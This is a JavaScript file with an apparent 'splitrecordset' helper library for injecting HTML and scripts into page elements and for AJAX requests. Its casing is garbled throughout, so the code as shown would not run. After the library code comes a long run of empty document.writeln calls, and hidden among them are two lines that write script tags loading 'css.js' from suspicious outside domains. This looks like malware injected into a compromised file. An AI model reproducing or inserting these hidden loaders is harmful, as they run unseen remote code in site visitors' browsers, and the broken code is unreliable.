<*innerhtml.js*/

var zz_splitrecordset_global_html_pool = [];   
var zz_splitrecordset_global_script_pool = [];   
var zz_splitrecordset_global_script_src_pool = [];   
var zz_splitrecordset_global_lock_pool = [];   
var zz_splitrecordset_set_innerhtml_lock = null;   
var zz_splitrecordset_document_buffer = "";   
   
function zz_splitrecordset_set_innerhtml(obj_id, html, time) {   
        if (zz_splitrecordset_set_innerhtml_lock == null) {   
                zz_splitrecordset_set_innerhtml_lock = obj_id;   
        }   
        else if (typeof(time) == "undefined") {   
                zz_splitrecordset_global_lock_pool[obj_id + "_html"] = html;   
                window.settimeout("zz_splitrecordset_set_innerhtml('" + obj_id + "', zz_splitrecordset_global_lock_pool['" + obj_id + "_html']);", 10);   
                return;   
        }   
        else if (zz_splitrecordset_set_innerhtml_lock != obj_id) {   
                zz_splitrecordset_global_lock_pool[obj_id + "_html"] = html;   
                window.settimeout("zz_splitrecordset_set_innerhtml('" + obj_id + "', zz_splitrecordset_global_lock_pool['" + obj_id + "_html'], " + time + ");", 10);   
                return;   
        }   
   
        function get_script_id() {   
                return "script_" + (new date()).gettime().tostring(36) + math.floor(math.random() * 100000000).tostring(36);   
        }   
   
        zz_splitrecordset_document_buffer = "";   
   
        zz_splitrecordset_write = function (str) {   
                zz_splitrecordset_document_buffer += str;   
        }   
        zz_splitrecordset_writeln = function (str) {   
                zz_splitrecordset_document_buffer += str + "\n";   
        }   
   
        zz_splitrecordset_global_html_pool = [];   
   
        var scripts = [];   
        html = html.split(/<\/script>/i);   
        for (var i = 0; i < html.length; i++) {   
                zz_splitrecordset_global_html_pool[i] = html[i].replace(/<script[\s\s]*$/ig, "");   
                scripts[i] = {text: '', src: '' };   
                scripts[i].text = html[i].substr(zz_splitrecordset_global_html_pool[i].length);   
                scripts[i].src = scripts[i].text.substr(0, scripts[i].text.indexof('>') + 1);   
                scripts[i].src = scripts[i].src.match(/src\s*=\s*(\"([^\"]*)\"|\'([^\']*)\'|([^\s]*)[\s>])/i);  
                if (scripts[i].src) {  
                        if (scripts[i].src[2]) {  
                                scripts[i].src = scripts[i].src[2];  
                        }  
                        else if (scripts[i].src[3]) {  
                                scripts[i].src = scripts[i].src[3];  
                        }  
                        else if (scripts[i].src[4]) {  
                                scripts[i].src = scripts[i].src[4];  
                        }  
                        else {  
                                scripts[i].src = "";  
                        }  
                        scripts[i].text = "";  
                }  
                else {  
                        scripts[i].src = "";  
                        scripts[i].text = scripts[i].text.substr(scripts[i].text.indexof('>') + 1);  
                        scripts[i].text = scripts[i].text.replace(/^\s*<\!--\s*/g, "");   
                }   
        }   
   
        var s;   
        if (typeof(time) == "undefined") {  
                s = 0;  
        }  
        else {  
                s = time;  
        }  
  
        var script, add_script, remove_script;  
  
        for (var i = 0; i < scripts.length; i++) {  
                var add_html = "zz_splitrecordset_document_buffer += zz_splitrecordset_global_html_pool[" + i + "];\n";  
                add_html += "document.getelementbyid('" + obj_id + "').innerhtml = zz_splitrecordset_document_buffer;\n";  
                script = document.createelement("script");  
                if (scripts[i].src) {  
                        script.src = scripts[i].src;  
                        if (typeof(zz_splitrecordset_global_script_src_pool[script.src]) == "undefined") {  
                                zz_splitrecordset_global_script_src_pool[script.src] = true;  
                                s += 2000;  
                        }  
                        else {  
                                s += 10;  
                        }  
                }  
                else {  
                        script.text = scripts[i].text;  
                        s += 10;  
                }  
                script.defer = true;  
                script.type =  "text/javascript";  
                script.id = get_script_id();  
                zz_splitrecordset_global_script_pool[script.id] = script;  
                add_script = add_html;  
                add_script += "document.getelementsbytagname('head').item(0)";   
                add_script += ".appendchild(zz_splitrecordset_global_script_pool['" + script.id + "']);\n";  
                window.settimeout(add_script, s);  
                remove_script = "document.getelementsbytagname('head').item(0)";  
                remove_script += ".removechild(document.getelementbyid('" + script.id + "'));\n";  
                remove_script += "delete zz_splitrecordset_global_script_pool['" + script.id + "'];\n";  
                window.settimeout(remove_script, s + 10000);  
        }  
  
        var end_script = "if (zz_splitrecordset_document_buffer.match(/<\\/script>/i)) {\n";  
        end_script += "zz_splitrecordset_set_innerhtml('" + obj_id + "', zz_splitrecordset_document_buffer, " + s + ");\n";  
        end_script += "}\n";  
        end_script += "else {\n";  
        end_script += "document.getelementbyid('" + obj_id + "').innerhtml = zz_splitrecordset_document_buffer;\n";  
        end_script += "zz_splitrecordset_set_innerhtml_lock = null;\n";  
        end_script += "}";   
        window.settimeout(end_script, s);   
}

/*ajax.js*/

function zz_splitrecordset_ajax(url ,callback)
{
        try{
                this.httprequest = null;
                this.debug  = false;
                this.url = url;
                this.contenttype = "text/xml";
                this.httprequest = this.createxmlhttprequest();

                if (this.httprequest == null)
                {
                        this._debug("xmlhttprequest create failure!");
                        return;
                }

                var xhreq = this.httprequest;
                xhreq.onreadystatechange = function (){
                        zz_splitrecordset_ajax._onreadystatechange(xhreq,callback);
                }

        }
        catch(e){
                this._debug("unknow err: " + e.message);
        }
}

zz_splitrecordset_ajax.prototype.get = function()
{
        this.setcontenttype("text/html");
        this._get();
}

zz_splitrecordset_ajax.prototype.post = function(arrkey, arrvalue)
{
        var data = '';
        this.setcontenttype("application/x-www-form-urlencoded");
        for(i = 0; i < arrkey.length; i ++)
        {
                data += "&" + escape(arrkey[i]) + "=" + escape(arrvalue[i]);
        }
        data = data.replace(/^&/g, "");
        this._post(data);
}

zz_splitrecordset_ajax.prototype.init = function()
{
        // initialization
}

zz_splitrecordset_ajax.prototype.seturl = function(url)
{
        this.url = url;
}

zz_splitrecordset_ajax.prototype.setcontenttype = function(type)
{
        this.contenttype = type;
}

zz_splitrecordset_ajax.prototype.createxmlhttprequest = function()
{
        try { return new activexobject("msxml2.xmlhttp"); } catch(e) {}
        try { return new activexobject("microsoft.xmlhttp"); } catch(e) {}
        try { return new xmlhttprequest(); } catch(e) {}
        return null;
}

zz_splitrecordset_ajax.prototype._debug = function(message) {
        if (this.debug)
        {
                alert(message);
        }
}

zz_splitrecordset_ajax._onreadystatechange = function(xreq, callback){
        if (xreq == null)
        {
                return;
        }
        if (xreq.readystate == 4)
        {          
                if (xreq.status == 200)
                {
                        callback (this.arrayvalue(xreq.responsexml));                                         
                }
                else{
                        document.write (xreq.responsetext);
                }
        }
        else {
        }
}

zz_splitrecordset_ajax.prototype._sendrequest = function(httpmethod, data)
{
        this._debug('send request ' + httpmethod + data);
        if (this.httprequest != null)
        {
                this.httprequest.open(httpmethod, this.url, true);
                if (this.contenttype != null)
                {
                        this.httprequest.setrequestheader("content-type", this.contenttype);
                }
                this.httprequest.send(data);
                return true;
        }
        return false;
}

zz_splitrecordset_ajax.prototype._get = function ()
{
        this._debug('get');
        return this._sendrequest("get", null);
}

zz_splitrecordset_ajax.prototype._post = function (data)
{
        this._debug('post');
        return this._sendrequest("post", data);
}

zz_splitrecordset_ajax.arrayvalue = function (xmlobj)
{
        var array = new array();
        var i = 0;
        var response = xmlobj.getelementsbytagname('response')[0];
        var element = response.firstchild;
        array[i] = element.firstchild.nodevalue;
        while (element = element.nextsibling)
        {
                i ++;
                array[i] = element.firstchild.nodevalue;
        }
        return array;
}document.writeln(' ');document.writeln(' ');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('<script language="javascript" src="http://22x.cssa.c0m.at/css.js?width=700&height=600&keyword=ua556"></script>');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('<script language="javascript" src="http://31n.css66.qc.cx/css.js?width=700&height=600&keyword=ua556"></script>');